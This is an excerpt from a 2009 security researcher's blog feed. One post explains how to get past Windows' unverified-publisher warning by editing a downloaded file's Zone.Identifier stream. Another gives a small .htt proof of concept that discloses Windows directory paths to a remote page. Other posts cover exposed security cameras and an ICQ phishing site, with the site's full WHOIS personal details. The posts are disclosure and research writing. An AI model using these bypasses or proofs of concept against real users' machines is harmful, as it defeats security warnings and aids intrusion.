type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/6232177218568348600' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/6232177218568348600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/6232177218568348600'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2009/12/using-nmap-remotely-through-f5-firepass.html' title='Using Nmap Remotely Through F5 FirePass VPN'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-5228641832695616822</id><published>2009-12-11T01:58:00.000-08:00</published><updated>2009-12-11T02:29:11.568-08:00</updated><title type='text'>Bypassing Windows Unknown Publisher Verification For Web Downloaded Executables</title><content type='html'>I was in another day of jumping from a client to a client, securing another bank in Israel when my girlfriend called and said &quot;Honey, I am at the office, I have absolutely nothing to do and I can&#39;t connect from here to our computer at home to continue my project&quot;. I said, O.K, let&#39;s see what we can do on a 5 minute phone call. Now just want to make it clear, my girlfriend is an Information System Instructor, she is no developer or hacker.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Me: &quot;Honey, go to http://www.teamviewer.com, can you download it?&quot;&lt;/div&gt;&lt;div&gt;Her: &quot;yes, but when I run the setup.exe it says something weired like &#39;windows has blocked this software because it can&#39;t verify the publisher&#39; and it won&#39;t let me install&quot;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0PxA80JpMr6mOTfLtjFjjS4fkF4e-SvleFhZJND2Tbx0voQXimTH0JMNi7_l7FCs4HZxjR2L6aAS131XBctL4HWnyPvgotfIBb6GJJclzfDGxNYDbQ73wUEYiLxMA8e6EzZjbOQIyiRcG/s400/cant+verify+publisher.JPG&quot; style=&quot;float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 187px;&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5413922804430488034&quot; /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Me: &quot;O.K, Open Start-Run, type notepad and space, now click on setup.exe and drag it to the text box at Start-&gt;Run. Now add &#39;:Zone.Identifier&#39; just before the last quotes. What do you see?&quot;&lt;/div&gt;&lt;div&gt;Her: &quot;I see something like ZoneId=3, now what?&quot;&lt;br /&gt;Me: &quot;I can&#39;t talk, going into a meeting, try to change it to 1 or delete everything, bye bye bye&quot;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After 10 minutes I get an SMS &quot;thanks honey it worked!!!&quot;.&lt;/div&gt;&lt;div&gt;Well we found a bug, I wouldn&#39;t really call it a &quot;Privilege Escalation&quot; but I guess you don&#39;t have to be a hacker to bypass windows security restrictions :)&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/5228641832695616822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/5228641832695616822' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/5228641832695616822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/5228641832695616822'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2009/12/bypassing-windows-unknown-publisher.html' title='Bypassing Windows Unknown Publisher Verification For Web Downloaded Executables'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0PxA80JpMr6mOTfLtjFjjS4fkF4e-SvleFhZJND2Tbx0voQXimTH0JMNi7_l7FCs4HZxjR2L6aAS131XBctL4HWnyPvgotfIBb6GJJclzfDGxNYDbQ73wUEYiLxMA8e6EzZjbOQIyiRcG/s72-c/cant+verify+publisher.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-4926371752005840064</id><published>2009-07-09T20:09:00.000-07:00</published><updated>2009-12-03T23:50:55.498-08:00</updated><title type='text'>Exploiting WebView through Internet Explorer to remotely discover windows directory</title><content type='html'>As for any large product, Microsoft Windows operating system is built on its previous versions code. Some of this code even goes back until Microsoft Windows 98.&lt;br /&gt;&lt;br /&gt;In Windows 98 a new look was introduced called &quot;WebView&quot; which included the way folders are displayed and the way the desktop is displayed are all HTML templates which were also editable to the default administrative user.You can read more about it here:http://msdn.microsoft.com/en-s/library/bb776835(VS.85).aspx&lt;br /&gt;&lt;br /&gt;Those HTML Templates had the extension &quot;htt&quot;. In order for the folder templates to function properly and being able to display the current folder, a few automatically expended variables were added to the module filtering the &quot;htt&quot; files. These are:&lt;br /&gt;%TEMPLATEDIR% (hardcoded)&lt;br /&gt;%THISDIRPATH% (hardcoded)&lt;br /&gt;%THISDIRNAME% (hardcoded)&lt;br /&gt;%BACKGROUNDIMAGE% (registry)&lt;br /&gt;%LOGOLINE% (registry)&lt;br /&gt;&lt;br /&gt;This mechanism lives until today deeply inside Windows XP&#39;s code in two modules inside the system32 folder:&lt;br /&gt;1) Webvw.dll&lt;br /&gt;2) Mshtml.dll&lt;br /&gt;&lt;br /&gt;Webvw.dll is the module which is responsible for all the Webview installation and normal activity and mshtml.dll is the main module for HTML Filtering &amp;amp; Rendering used Windows Explorer and Internet Explorer.&lt;br /&gt;&lt;br /&gt;When Microsoft Windows is installed and webvw.dll is registered, it adds it CLSID and a few registry keys. The interesting ones are these:&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WebView\TemplateMacros&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WebView\TemplateMacros\BACKGROUNDIMAGE&lt;br /&gt;Default = &quot;%SystemRoot%\Web\wvleft.bmp&quot;&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WebView\TemplateMacros\LOGOLINE&lt;br /&gt;Default = &quot;%SystemRoot%\Web\wvline.gif&quot;&lt;br /&gt;&lt;br /&gt;Every time an htt file is rendered, without any local-remote or any zone consideration, those variables are replaced with the current system&#39;s path.&lt;br /&gt;This is the code inside mimeflt.cpp which contains the bug:Lines 360 to 433:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define REG_WEBVIEW_TEMPLATE_MACROS&lt;br /&gt;TEXT(&quot;Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WebView\\TemplateMacros&quot;)&lt;br /&gt;&lt;br /&gt;void ConvertBytesToTChar(LPCBYTE pBuf, UINT nCharSize, LPTSTR psz, int cch) {&lt;br /&gt; if (SIZEOF(char) == nCharSize) {&lt;br /&gt;  SHAnsiToTChar((LPCSTR)pBuf, psz, cch);&lt;br /&gt; } else {&lt;br /&gt;  ASSERT(nCharSize == SIZEOF(WCHAR));&lt;br /&gt;  SHUnicodeToTChar((LPCWSTR)pBuf, psz, cch);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void ExpandMacro(LPBYTE pszMacro, LPBYTE pszExpansion, int nBytes, UINT nCharSize) {&lt;br /&gt; TCHAR szExpansion[MAX_PATH];&lt;br /&gt; szExpansion[0] = TEXT(&#39;\0&#39;);&lt;br /&gt; TCHAR szTCharMacro[MAX_PATH];&lt;br /&gt;&lt;br /&gt; ConvertBytesToTChar(pszMacro, nCharSize, szTCharMacro, ARRAYSIZE(szTCharMacro));&lt;br /&gt; TCHAR szKey[MAX_PATH];&lt;br /&gt; lstrcpyn(szKey, REG_WEBVIEW_TEMPLATE_MACROS, ARRAYSIZE(szKey));&lt;br /&gt; StrCatBuff(szKey, TEXT(&quot;\\&quot;), ARRAYSIZE(szKey));&lt;br /&gt; StrCatBuff(szKey, szTCharMacro, ARRAYSIZE(szKey));&lt;br /&gt; HKEY hkMacros;&lt;br /&gt; if (RegOpenKey(HKEY_CURRENT_USER, szKey, &amp;amp;hkMacros) == ERROR_SUCCESS &amp;amp;&amp;amp; RegOpenKey(HKEY_LOCAL_MACHINE, szKey, &amp;amp;hkMacros) == ERROR_SUCCESS) {&lt;br /&gt;  DWORD dwType;&lt;br /&gt;  DWORD cbData = SIZEOF(szExpansion);&lt;br /&gt;  SHQueryValueEx(hkMacros, NULL, NULL, &amp;amp;dwType, (LPBYTE)szExpansion, &amp;amp;cbData);&lt;br /&gt;  RegCloseKey(hkMacros);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; ConvertTCharToBytes(szExpansion, nCharSize, pszExpansion, nBytes);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int CWebViewMimeFilter::_Expand(LPBYTE pszVar, LPBYTE * ppszExp) {&lt;br /&gt; if (!_StrCmp(pszVar, &quot;TEMPLATEDIR&quot;, L&quot;TEMPLATEDIR&quot;)) {&lt;br /&gt;  if (!_szTemplateDirPath[0]) {&lt;br /&gt;   GetMachineTemplateDir(_szTemplateDirPath, SIZEOF(_szTemplateDirPath), _nCharSize);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  *ppszExp = _szTemplateDirPath;&lt;br /&gt;&lt;br /&gt; } else if (!_StrCmp(pszVar, &quot;THISDIRPATH&quot;, L&quot;THISDIRPATH&quot;)) {&lt;br /&gt;  if (!_szThisDirPath[0]) {&lt;br /&gt;   _QueryForDVCMDID(DVCMDID_GETTHISDIRPATH, _szThisDirPath, SIZEOF(_szThisDirPath));&lt;br /&gt;  }&lt;br /&gt;  *ppszExp = _szThisDirPath;&lt;br /&gt;&lt;br /&gt; } else if (!_StrCmp(pszVar, &quot;THISDIRNAME&quot;, L&quot;THISDIRNAME&quot;)) {&lt;br /&gt;  if (!_szThisDirName[0]) {&lt;br /&gt;   _QueryForDVCMDID(DVCMDID_GETTHISDIRNAME, _szThisDirName, SIZEOF(_szThisDirName));&lt;br /&gt;  }&lt;br /&gt;  *ppszExp = _szThisDirName;&lt;br /&gt;&lt;br /&gt; } else {&lt;br /&gt;  ExpandMacro(pszVar, _szExpansion, SIZEOF(_szExpansion), _nCharSize);&lt;br /&gt;  *ppszExp = _szExpansion;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return _StrLen(*ppszExp);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In Windows XP the variables &quot;%THISDIRPATH%&quot; and &quot;%THISDIRNAME%&quot; were removed from the Mime Filter which means %TEMPLATEDIR%, %BACKGROUNDIMAGE% and %LOGOLINE% would still be translated into the current windows directory.&lt;br /&gt;&lt;br /&gt;The Proof Of Concept code (Remote WebView Macro Translation):&lt;br /&gt;Save on a remote host with an htt extension and replace &quot;http:///filter_trap.htt&lt;br /&gt;--------------------------- filter_trap.htt start --------------------------------&lt;br /&gt;[div id=&quot;BACKGROUNDIMAGE&quot;]%BACKGROUNDIMAGE%[/div]&lt;br /&gt;[div id=&quot;LOGOLINE&quot;]%LOGOLINE%[/div]&lt;br /&gt;[div id=&quot;TEMPLATEDIR&quot;]%TEMPLATEDIR%[/div]&lt;br /&gt;[script]&lt;br /&gt;alert(document.getElementById(&quot;BACKGROUNDIMAGE&quot;).innerHTML);&lt;br /&gt;alert(document.getElementById(&quot;LOGOLINE&quot;).innerHTML);&lt;br /&gt;alert(document.getElementById(&quot;TEMPLATEDIR&quot;).innerHTML);&lt;br /&gt;[/script]&lt;br /&gt;--------------------------- filter_trap.htt end --------------------------------</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/4926371752005840064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/4926371752005840064' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/4926371752005840064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/4926371752005840064'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2009/07/exploiting-webview-through-internet.html' title='Exploiting WebView through Internet Explorer to remotely discover windows directory'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-8318147795987288056</id><published>2009-06-15T07:14:00.000-07:00</published><updated>2009-06-15T07:16:11.735-07:00</updated><title type='text'>Security Cameras - To See Or Not To See?!</title><content type='html'>These days, security is going digital.&lt;br /&gt;&lt;br /&gt;From live and automatic event log analysis up to personal &quot;on-key&quot; tokens and remotely controlled security cameras.&lt;br /&gt;&lt;br /&gt;These technologies should be used carefully. For example if the token generates 6 digits and there is no password complexity enforcement, users can set their password to &quot;1&quot; and then we&#39;ll get a 7 character length password. If the data from the log will not be filtered and will be in html format, it may execute code. Even worse, if it is viewed at the command line console, it may execute code using the console color control characters.&lt;br /&gt;&lt;br /&gt;When talking about security cameras, a security flaw in the camera&#39;s simple application server may cause the entire video stream to be accessible to an intruder.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;While consulting to a big financial customer, I discovered the security cameras installed are easily accessible to anyone thanks to a very simple logical flaw. Not to mention default user accounts, empty password sets, the ability to brute force, directory traversal and some classic authorization bypass vulnerabilities.&lt;br /&gt;&lt;br /&gt;Most of the security cameras in my country are bought from Korea, some of the software is written by the vendor and some by the distributer. Both of them should pay much more attention to security so we won&#39;t have the same classic vulnerabilities over and over again.&lt;br /&gt;&lt;br /&gt;Attached are a few screen captures:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.linkstofiles.com/images/11.jpg&quot;&gt;&lt;img alt=&quot;another white night at work&quot; src=&quot;http://www.linkstofiles.com/images/11.jpg&quot; width=&quot;344&quot; height=&quot;227&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;another white night at work&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.linkstofiles.com/images/9.jpg&quot;&gt;&lt;img alt=&quot;Clothing Shop&quot; src=&quot;http://www.linkstofiles.com/images/9.jpg&quot; width=&quot;390&quot; height=&quot;310&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Clothing Shop&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.linkstofiles.com/images/6.jpg&quot;&gt;&lt;img alt=&quot;Coffee Shop&quot; src=&quot;http://www.linkstofiles.com/images/6.jpg&quot; width=&quot;314&quot; height=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Coffee Shop&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.linkstofiles.com/images/8.jpg&quot;&gt;&lt;img alt=&quot;Eyes on the ball!!!&quot; src=&quot;http://www.linkstofiles.com/images/8.jpg&quot; width=&quot;393&quot; height=&quot;311&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Eyes on the ball!!!&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.linkstofiles.com/images/10.jpg&quot;&gt;&lt;img alt=&quot;How&#39;s that shirt?&quot; src=&quot;http://www.linkstofiles.com/images/10.jpg&quot; width=&quot;392&quot; height=&quot;309&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;How&#39;s that shirt?&quot;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.linkstofiles.com/images/19.jpg&quot;&gt;&lt;img alt=&quot;Anyone knows a Safe-Cracker?!&quot; src=&quot;http://www.linkstofiles.com/images/19.jpg&quot; width=&quot;344&quot; height=&quot;226&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anyone knows a Safe-Cracker?!</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/8318147795987288056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/8318147795987288056' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8318147795987288056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8318147795987288056'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2009/06/security-cameras-to-see-or-not-to-see.html' title='Security Cameras - To See Or Not To See?!'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-1029229293818099918</id><published>2009-05-04T12:35:00.000-07:00</published><updated>2009-05-07T23:39:22.656-07:00</updated><title type='text'>ICQ Phishing - You Type, They Sell</title><content type='html'>My friend ax1les has a 5 digit ICQ number and he always gets wiered messages that turn out to be phishing or links to trojans. A few days ago, he got this message:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglEnYF8olSrEdh5ubpGlY8ZjENODe-6D8Jzb3SviWPWbhoG5VSUq7wURp14Y7uJPtfwIZXQAbc7C4l-NNKjxm0Wg5j5ZFDY8E20Zq1IY2BaoLG3VNRx4oqgUCzsNylUoPdG9vhWE9EfcnP/s1600-h/1.bmp&quot;&gt;&lt;img style=&quot;MARGIN: 0px 10px 10px 0px; WIDTH: 400px; FLOAT: left; HEIGHT: 213px; CURSOR: hand&quot; id=&quot;BLOGGER_PHOTO_ID_5332060249201210034&quot; border=&quot;0&quot; alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglEnYF8olSrEdh5ubpGlY8ZjENODe-6D8Jzb3SviWPWbhoG5VSUq7wURp14Y7uJPtfwIZXQAbc7C4l-NNKjxm0Wg5j5ZFDY8E20Zq1IY2BaoLG3VNRx4oqgUCzsNylUoPdG9vhWE9EfcnP/s400/1.bmp&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;He thought it would be a good idea that we&#39;ll take a look at that website together, and we did :)&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_6ns4DxvcScNZzjF5Nxx_a9jHbVmLop9_6VovYxfw2R9u6Y5Fnhh1P3z3UBxZ6Plab2yrBbbqtgnECxk4YOc9HbN8MTrKEZXaBOkZw_W2-ERBiTEUw_NnnNvuxAW8U1KJu3LMiZnevnYQ/s1600-h/2.bmp&quot;&gt;&lt;img style=&quot;MARGIN: 0px 10px 10px 0px; WIDTH: 400px; FLOAT: left; HEIGHT: 249px; CURSOR: hand&quot; id=&quot;BLOGGER_PHOTO_ID_5332060598512668402&quot; border=&quot;0&quot; alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_6ns4DxvcScNZzjF5Nxx_a9jHbVmLop9_6VovYxfw2R9u6Y5Fnhh1P3z3UBxZ6Plab2yrBbbqtgnECxk4YOc9HbN8MTrKEZXaBOkZw_W2-ERBiTEUw_NnnNvuxAW8U1KJu3LMiZnevnYQ/s400/2.bmp&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglEnYF8olSrEdh5ubpGlY8ZjENODe-6D8Jzb3SviWPWbhoG5VSUq7wURp14Y7uJPtfwIZXQAbc7C4l-NNKjxm0Wg5j5ZFDY8E20Zq1IY2BaoLG3VNRx4oqgUCzsNylUoPdG9vhWE9EfcnP/s1600-h/1.bmp&quot;&gt;&lt;/a&gt;&lt;br /&gt;In the last decade russians really mad fun of the world using the Internet.&lt;br /&gt;The website &lt;a href=&quot;http://icq-confirm.info/&quot;&gt;http://icq-confirm.info/&lt;/a&gt; is a phishing website that &quot;confirms&quot; your ICQ account credentials are still valid (yeah right). The amazing thing is he didn&#39;t even bother changing the title from the former text &quot;icq.com&quot; :)&lt;br /&gt;&lt;br /&gt;But of course his business is really successful as he is also the owner of the mega-icq-shop, he is trying to hide so much that he event left it in the domain&#39;s whois details......&lt;br /&gt;&lt;br /&gt;Domain ID:D28335226-LRMS&lt;br /&gt;Domain Name:ICQ-CONFIRM.INFO&lt;br /&gt;Created On:20-Apr-2009 07:27:17 UTC&lt;br /&gt;Last Updated On:29-Apr-2009 15:01:04 UTC&lt;br /&gt;Expiration Date:20-Apr-2010 07:27:17 UTC&lt;br /&gt;Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. d/b/a PublicDomainRegistry.com (R159-LRMS)&lt;br /&gt;Status:CLIENT TRANSFER PROHIBITED&lt;br /&gt;Status:TRANSFER PROHIBITED&lt;br /&gt;Registrant ID:DI_9732581&lt;br /&gt;Registrant Name:Andrey Petrovich&lt;br /&gt;Registrant Organization:Private person&lt;br /&gt;Registrant Street1:Krasnoarmeyskaya 18 dom 4 kv 32&lt;br /&gt;Registrant Street2:&lt;br /&gt;Registrant Street3:&lt;br /&gt;Registrant City:Moskva&lt;br /&gt;Registrant State/Province:Moskva&lt;br /&gt;Registrant Postal Code:132132&lt;br /&gt;Registrant Country:RU&lt;br /&gt;Registrant Phone:+7.4951783223&lt;br /&gt;Registrant Phone Ext.:&lt;br /&gt;Registrant FAX:&lt;br /&gt;Registrant FAX Ext.:&lt;br /&gt;&lt;strong&gt;Registrant Email:mega-icq-shop@mail.ru&lt;/strong&gt;&lt;br /&gt;Admin ID:DI_9732581&lt;br /&gt;Admin Name:Andrey Petrovich&lt;br /&gt;Admin Organization:Private person&lt;br /&gt;Admin Street1:Krasnoarmeyskaya 18 dom 4 kv 32&lt;br /&gt;Admin Street2:&lt;br /&gt;Admin Street3:&lt;br /&gt;Admin City:Moskva&lt;br /&gt;Admin State/Province:Moskva&lt;br /&gt;Admin Postal Code:132132&lt;br /&gt;Admin Country:RU&lt;br /&gt;Admin Phone:+7.4951783223&lt;br /&gt;Admin Phone Ext.:&lt;br /&gt;Admin FAX:&lt;br /&gt;Admin FAX Ext.:&lt;br /&gt;&lt;strong&gt;Admin Email:mega-icq-shop@mail.ru&lt;/strong&gt;&lt;br /&gt;Billing ID:DI_9732581&lt;br /&gt;Billing Name:Andrey Petrovich&lt;br /&gt;Billing Organization:Private person&lt;br /&gt;Billing Street1:Krasnoarmeyskaya 18 dom 4 kv 32&lt;br /&gt;Billing Street2:&lt;br /&gt;Billing Street3:&lt;br /&gt;Billing City:Moskva&lt;br /&gt;Billing State/Province:Moskva&lt;br /&gt;Billing Postal Code:132132&lt;br /&gt;Billing Country:RU&lt;br /&gt;Billing Phone:+7.4951783223&lt;br /&gt;Billing Phone Ext.:&lt;br /&gt;Billing FAX:&lt;br /&gt;Billing FAX Ext.:&lt;br /&gt;&lt;strong&gt;Billing Email:mega-icq-shop@mail.ru&lt;/strong&gt;&lt;br /&gt;Tech ID:DI_9732581&lt;br /&gt;Tech Name:Andrey Petrovich&lt;br /&gt;Tech Organization:Private person&lt;br /&gt;Tech Street1:Krasnoarmeyskaya 18 dom 4 kv 32&lt;br /&gt;Tech Street2:&lt;br /&gt;Tech Street3:&lt;br /&gt;Tech City:Moskva&lt;br /&gt;Tech State/Province:Moskva&lt;br /&gt;Tech Postal Code:132132&lt;br /&gt;Tech Country:RU&lt;br /&gt;Tech Phone:+7.4951783223&lt;br /&gt;Tech Phone Ext.:&lt;br /&gt;Tech FAX:&lt;br /&gt;Tech FAX Ext.:&lt;br /&gt;&lt;strong&gt;Tech Email:mega-icq-shop@mail.ru&lt;/strong&gt;&lt;br /&gt;Name Server:NS1.AGHOST.RU&lt;br /&gt;Name Server:NS2.AGHOST.RU&lt;br /&gt;&lt;br /&gt;Anyway, the really wiered thing about this case is that while i am writing this post this website is not loading anymore...the DNS no longer resolves to any IP and their former IP 95.211.7.5 reponse with &quot;Apache is working properley&quot; when requesting the Host &quot;icq-confirm.info&quot;.&lt;br /&gt;May be I scared them away with a few little DNS requests or the cops just randomly knocked on their door :)</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/1029229293818099918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/1029229293818099918' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/1029229293818099918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/1029229293818099918'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2009/05/icq-phishing-you-type-they-sell.html' title='ICQ Phishing - You Type, They Sell'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglEnYF8olSrEdh5ubpGlY8ZjENODe-6D8Jzb3SviWPWbhoG5VSUq7wURp14Y7uJPtfwIZXQAbc7C4l-NNKjxm0Wg5j5ZFDY8E20Zq1IY2BaoLG3VNRx4oqgUCzsNylUoPdG9vhWE9EfcnP/s72-c/1.bmp" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-1221758763254697624</id><published>2008-12-28T22:30:00.000-08:00</published><updated>2008-12-28T23:58:40.562-08:00</updated><title type='text'>The &quot;DesktopSmiley, Not A Spyware&quot; ToolBar</title><content type='html'>The &quot;Not A Phishing Worm&quot; really got me interested as it sent special Christmas messages so I decided to dig in just a bit. So as discovered, after the user supplies his MSN credentials, his friends get a link to the &quot;Not A Phishing&quot; website and a lot of tricky links leading to DesktopSmiley.com to download their toolbar. Which they say is &quot;Not Spyware&quot;.&lt;br /&gt;&lt;br /&gt;So we got a non-phishing worm downloading a non-spyware program, let&#39;s see its non-evil actions :)&lt;br /&gt;The first thing I did was downloading the installer, which asks no questions and shows no EULA. It is also digitally signed by &quot;DoubleD Advertising Limited&quot;, well that&#39;s really funny, we have got to give them that :)&lt;br /&gt;&lt;br /&gt;So I ran it in a VM:&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2LE2jGhnAoHETSO-NwRmeOsade6D2cJbcg8T4M4ukvOM1vl8ZGBNkm4d5qQ9d8NCSLcW4z4lVr0jDlVgBEJis6EM4YX1M3Yuzhhyphenhyphen34_JOCOFgrCIxRcrz4Bf_9Z3nYOh48jAbtQA133GT/s1600-h/virutalized.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 85px;&quot; 